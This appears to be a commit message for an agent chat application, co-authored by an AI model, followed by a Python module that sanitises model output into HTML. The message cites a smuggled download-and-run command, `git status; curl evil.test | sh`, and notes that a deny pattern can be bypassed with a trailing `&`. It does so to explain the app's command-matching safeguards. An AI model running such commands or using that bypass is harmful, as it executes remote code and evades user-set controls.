7df68eb44c
Seven things, and the thread running through them is that the machinery was right and what a person saw of it was not. Auto asked about every compound command. `policy.subject` refuses to let any pattern match a line carrying a shell metacharacter -- correct, and the whole reason `git *` cannot also mean `git status; curl evil.test | sh` -- and a rule on top of that asked whenever a deny list existed at all. The shipped deny list is non-empty, so `cd build && make` and `pytest | tail` both stopped for approval in the one mode whose purpose is not stopping. Nobody read that as a security control; they read it as Auto not working. It is gone, and what it costs is written down beside it and under the admin field: a deny pattern can be walked past with a trailing `&`. Matching each segment would restore both. A forty-round agent reply rendered as three zones -- all the thinking, then every tool block, then all the prose -- which is fine at two rounds and unreadable at forty. `Message.steps_json` is a table of contents over the three stores rather than a fourth copy of any of them, so `build_messages`, compaction and titling still see one string. No marks means the old layout, which is what every existing row reads back, with no version flag and no branch in the template. Nothing could be expanded while a reply streamed, and that was two faults. The tool list was replaced wholesale twelve times a second, so an opened block shut itself within 80ms; the ids are stable now and steps.js puts them back, across the final swap as well. And the thread snapped to the bottom on every frame, so a block that did open was scrolled off -- opening one now stops it following until you scroll back down yourself. Both driven under a DOM stub before committing, per the note in CLAUDE.md. The metrics were never wrong, which is why this looked like arithmetic and was not. One chip is what the reply cost and the other is what the conversation occupies; on a multi-round reply those differ by a lot and neither said which it was. What was broken is that they stood still -- usage arrives once a round, and `reported or estimated` stops consulting the estimate the moment the first chunk lands -- and that the `~` marking an estimate vanished at exactly the point everything became one. Interpolated between counts now, never over them. Background jobs had no surface at all. A chip counting what is still running and a panel with each job's command, state, log tail and a Stop button; the fifth exception to "the modes govern the model, not the interface", for the reason the other four are. file_edit had two faults worth more than the error text. A file it could not read was reported to the model as an empty one, and a file too large to read whole was patched and written back by a call that replaces -- deleting everything past the ceiling, silently, and reporting success with a byte count. Both refused now. A refused hunk also prints the file around where it landed, which is most of the retry loop these models get into. And a model can talk itself to a standstill: a round with no tool calls is a model saying it has finished, so pages of "Ready? GO! ... Wait ... Actually ..." ended the reply having done nothing. `core.commit` is the prompt half and a second nudge signal is the other, narrowed to a long reply that touched nothing so that finishing is never argued with. Also: the scope menu is called Toggle and no longer offers to type an `@` for you, and "Always allow this" says when it has stored nothing rather than appearing to work. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
278 lines
11 KiB
Python
278 lines
11 KiB
Python
"""Render assistant messages from Markdown to sanitised HTML.
|
|
|
|
Rendering happens on the server, in Python, so there is no JavaScript Markdown
|
|
library to vendor and the streamed and final views cannot disagree about how
|
|
something should look.
|
|
|
|
The output is sanitised with nh3 (Rust ammonia). Model output is untrusted
|
|
input: it routinely contains HTML, and a model can be talked into emitting a
|
|
script tag, so this is a real boundary and not a formality.
|
|
"""
|
|
|
|
from __future__ import annotations
|
|
|
|
import functools
|
|
import html
|
|
import re
|
|
|
|
import nh3
|
|
from markdown_it import MarkdownIt
|
|
from pygments import highlight
|
|
from pygments.formatters import HtmlFormatter
|
|
from pygments.lexers import get_lexer_by_name, get_lexer_for_filename, guess_lexer
|
|
from pygments.util import ClassNotFound
|
|
|
|
# Class-based highlighting; the colours come from theme tokens in chat.css, so
|
|
# code blocks follow the active theme instead of carrying their own palette.
|
|
_FORMATTER = HtmlFormatter(nowrap=True, classprefix="pg-")
|
|
|
|
ALLOWED_TAGS = {
|
|
"p", "br", "hr", "div", "span",
|
|
"strong", "em", "del", "sub", "sup", "mark",
|
|
"h1", "h2", "h3", "h4", "h5", "h6",
|
|
"ul", "ol", "li",
|
|
"blockquote", "pre", "code",
|
|
"table", "thead", "tbody", "tr", "th", "td",
|
|
"a", "img",
|
|
}
|
|
|
|
ALLOWED_ATTRIBUTES = {
|
|
# "rel" is intentionally absent: nh3 rejects it here when link_rel is set,
|
|
# because link_rel below is what writes it.
|
|
"a": {"href", "title", "target"},
|
|
"img": {"src", "alt", "title"},
|
|
"code": {"class"},
|
|
"pre": {"class"},
|
|
"span": {"class"},
|
|
"div": {"class"},
|
|
"td": {"align"},
|
|
"th": {"align"},
|
|
}
|
|
|
|
# javascript: and data: URLs are the obvious injection route through a link.
|
|
ALLOWED_URL_SCHEMES = {"http", "https", "mailto"}
|
|
|
|
|
|
def _render_fence(tokens, idx, _options, _env) -> str:
|
|
"""Render a fenced code block.
|
|
|
|
This replaces the renderer's `fence` rule outright rather than using
|
|
markdown-it's `highlight` option, because that option re-wraps whatever it
|
|
is given in <pre><code> unless the string already starts with "<pre" --
|
|
which would nest a second <pre> inside the wrapper this returns.
|
|
"""
|
|
token = tokens[idx]
|
|
code = token.content
|
|
language = (token.info or "").strip().split()[0] if token.info else ""
|
|
|
|
lexer = None
|
|
if language:
|
|
try:
|
|
lexer = get_lexer_by_name(language, stripall=False)
|
|
except (ClassNotFound, ValueError):
|
|
lexer = None
|
|
elif code.strip():
|
|
# Guessing is only worth it for a decent sample; on two lines of text
|
|
# Pygments guesses confidently and wrongly.
|
|
try:
|
|
lexer = guess_lexer(code) if len(code) > 80 else None
|
|
except (ClassNotFound, ValueError):
|
|
lexer = None
|
|
|
|
if lexer is None:
|
|
body = nh3.clean_text(code)
|
|
label = language
|
|
else:
|
|
body = highlight(code, lexer, _FORMATTER)
|
|
label = language or (lexer.aliases[0] if lexer.aliases else "")
|
|
|
|
label_html = (
|
|
f'<div class="code-block__label">{nh3.clean_text(label)}</div>' if label else ""
|
|
)
|
|
return (
|
|
f'<div class="code-block">{label_html}'
|
|
f'<pre class="code-block__pre"><code>{body}</code></pre></div>'
|
|
)
|
|
|
|
|
|
def highlight_code(text: str, filename: str = "") -> str:
|
|
"""A whole file, class-highlighted, for the canvas panel to read.
|
|
|
|
Here rather than in a module of its own because `markdown.py` is where
|
|
pygments lives and `_FORMATTER` is already configured: a second formatter
|
|
would mean a second set of class names and a second thing to theme, and the
|
|
`.pg-*` rules would then be right about code fences and wrong about files.
|
|
|
|
Pygments' `HtmlFormatter` escapes what it is given, which is what makes this
|
|
the one call the canvas templates mark `|safe`. The content came off
|
|
somebody else's disk, so that property is the whole of the argument -- if
|
|
the lexer cannot be found the text is escaped by hand instead, never passed
|
|
through.
|
|
|
|
Chooses by filename, because that is what the canvas has: a lexer guessed
|
|
from contents is confidently wrong on short files, and there is no fence
|
|
info string here to read a language out of.
|
|
"""
|
|
if not text:
|
|
return ""
|
|
|
|
lexer = None
|
|
if filename:
|
|
try:
|
|
lexer = get_lexer_for_filename(filename, stripall=False)
|
|
except (ClassNotFound, ValueError):
|
|
lexer = None
|
|
if lexer is None and len(text) > 200:
|
|
try:
|
|
lexer = guess_lexer(text)
|
|
except (ClassNotFound, ValueError):
|
|
lexer = None
|
|
|
|
body = nh3.clean_text(text) if lexer is None else highlight(text, lexer, _FORMATTER)
|
|
return f'<pre class="canvas__code"><code>{body}</code></pre>'
|
|
|
|
|
|
@functools.lru_cache(maxsize=1)
|
|
def _parser() -> MarkdownIt:
|
|
md = MarkdownIt("commonmark", {"linkify": True, "typographer": False})
|
|
md.enable(["table", "strikethrough", "linkify"])
|
|
md.renderer.rules["fence"] = _render_fence
|
|
return md
|
|
|
|
|
|
def render_markdown(text: str) -> str:
|
|
"""Markdown to safe HTML, ready to drop into a message bubble."""
|
|
if not text:
|
|
return ""
|
|
|
|
html = _parser().render(text)
|
|
return nh3.clean(
|
|
html,
|
|
tags=ALLOWED_TAGS,
|
|
attributes=ALLOWED_ATTRIBUTES,
|
|
url_schemes=ALLOWED_URL_SCHEMES,
|
|
# Anything opened from a model's output is untrusted; noopener stops it
|
|
# reaching back through window.opener.
|
|
link_rel="nofollow noopener noreferrer",
|
|
)
|
|
|
|
|
|
# A fence opener: three or more backticks or tildes at the start of a line,
|
|
# optionally indented, with whatever info string follows. Deliberately shallow --
|
|
# it does not know about lists, block quotes or indented code, and it does not
|
|
# have to. See `open_fence`.
|
|
_FENCE = re.compile(r"^ {0,3}(`{3,}|~{3,})[ \t]*(.*)$")
|
|
|
|
|
|
def open_fence(text: str) -> tuple[str, str]:
|
|
"""The marker and info string of a fence left open, or ``("", "")``.
|
|
|
|
A reply is rendered in pieces now -- one per step, split where the model
|
|
stopped to call a tool -- and a fence opened in one piece and never closed
|
|
would run to the end of that piece and then leave every later fence in the
|
|
reply paired up wrongly. `services/steps.py` uses this to close such a fence
|
|
at the end of its own segment and reopen it at the start of the next.
|
|
|
|
Deliberately not a second Markdown parser. It has to be right about one
|
|
thing: a model that opened a fence and then called a tool. Where it is
|
|
unsure it says "no fence", which renders exactly as the whole-text version
|
|
always did.
|
|
"""
|
|
marker = ""
|
|
info = ""
|
|
for line in text.splitlines():
|
|
found = _FENCE.match(line)
|
|
if found is None:
|
|
continue
|
|
fence, rest = found.group(1), found.group(2).strip()
|
|
if not marker:
|
|
marker, info = fence, rest
|
|
elif fence[0] == marker[0] and len(fence) >= len(marker) and not rest:
|
|
# A closer is the same character, at least as long, and carries no
|
|
# info string. Anything else inside an open fence is just text.
|
|
marker, info = "", ""
|
|
return marker, info
|
|
|
|
|
|
# A mention is `@` followed by a run of non-space, claimed only at the start of
|
|
# the text or after whitespace. That last part is the whole rule: without it
|
|
# every email address in a message becomes a highlighted file reference, which
|
|
# is both wrong and ugly. It matches what composer.js recognises while typing,
|
|
# and the two must stay in step or the box and the transcript disagree.
|
|
_MENTION = re.compile(r"(?:(?<=\s)|^)@([^\s@]+)")
|
|
|
|
|
|
def highlight_tokens(text: str) -> str:
|
|
"""A user's own message, escaped, with `@mentions` marked.
|
|
|
|
User turns have no render step at all -- the template prints the column and
|
|
relies on `white-space: pre-wrap` -- so this is it, and it must escape
|
|
before it injects or it is an XSS hole in the one place a person controls
|
|
the bytes exactly.
|
|
|
|
Only mentions. A `/command` never survives to a message: commands are
|
|
intercepted in the composer and never posted, so anything beginning with a
|
|
slash in a transcript is text somebody meant as text, and marking it as a
|
|
command would be marking it as something it is not.
|
|
"""
|
|
if not text:
|
|
return ""
|
|
escaped = html.escape(text, quote=False)
|
|
# Applied to the *escaped* string, so the span is the only markup that can
|
|
# exist. `@` and the path characters are untouched by html.escape, and a
|
|
# `&` it produced contains no whitespace -- which is why the pattern is
|
|
# anchored on whitespace rather than on a character class.
|
|
return _MENTION.sub(r'<span class="tok-mention">@\1</span>', escaped)
|
|
|
|
|
|
def escape_text(text: str) -> str:
|
|
"""Escape a plain-text run for insertion as HTML element content.
|
|
|
|
Used for user messages and for partial assistant text mid-stream, where the
|
|
content is not yet complete enough to parse as Markdown.
|
|
|
|
html.escape rather than nh3.clean_text: escaping the three structural
|
|
characters is all that is needed for a text node, and it escapes character
|
|
by character, so escaping a stream chunk-by-chunk gives the same result as
|
|
escaping the whole string at once. nh3.clean_text also escapes spaces and
|
|
slashes, which triples the size of a streamed token for no benefit.
|
|
"""
|
|
return html.escape(text, quote=False)
|
|
|
|
|
|
# Code blocks are dropped whole rather than read out. A speech model given a
|
|
# code fence pronounces every bracket and underscore, which is unlistenable and
|
|
# takes longer than the prose it was buried in.
|
|
#
|
|
# Matched on <pre> rather than on the .code-block wrapper: the wrapper also
|
|
# contains a label div, so a non-greedy match for its closing tag stops at the
|
|
# label's and leaves the code behind. <pre> cannot nest, so this is exact.
|
|
_CODE_BLOCK = re.compile(r"<pre\b[^>]*>.*?</pre>", re.DOTALL)
|
|
_CODE_LABEL = re.compile(r"<div class=\"code-block__label\">.*?</div>", re.DOTALL)
|
|
_TAG = re.compile(r"<[^>]+>")
|
|
_WHITESPACE = re.compile(r"[ \t]*\n\s*\n\s*")
|
|
|
|
# Speech endpoints reject or truncate very long inputs, and a reply long enough
|
|
# to hit this is not one anybody is listening to in full.
|
|
MAX_SPEAKABLE = 8000
|
|
|
|
|
|
def speakable_text(text: str) -> str:
|
|
"""Markdown reduced to something worth reading aloud.
|
|
|
|
Goes through the renderer rather than stripping the Markdown source
|
|
directly, so tables, lists and links come out as their text instead of as
|
|
punctuation, and there is one definition of what a message *says*.
|
|
"""
|
|
if not text:
|
|
return ""
|
|
|
|
rendered = _CODE_LABEL.sub(" ", _CODE_BLOCK.sub("\n", render_markdown(text)))
|
|
stripped = html.unescape(_TAG.sub(" ", rendered))
|
|
|
|
# Paragraph breaks survive as a single newline: speech models use them as a
|
|
# pause, and a wall of one line is read without any.
|
|
stripped = _WHITESPACE.sub("\n", stripped)
|
|
lines = [" ".join(line.split()) for line in stripped.splitlines()]
|
|
return "\n".join(line for line in lines if line)[:MAX_SPEAKABLE]
|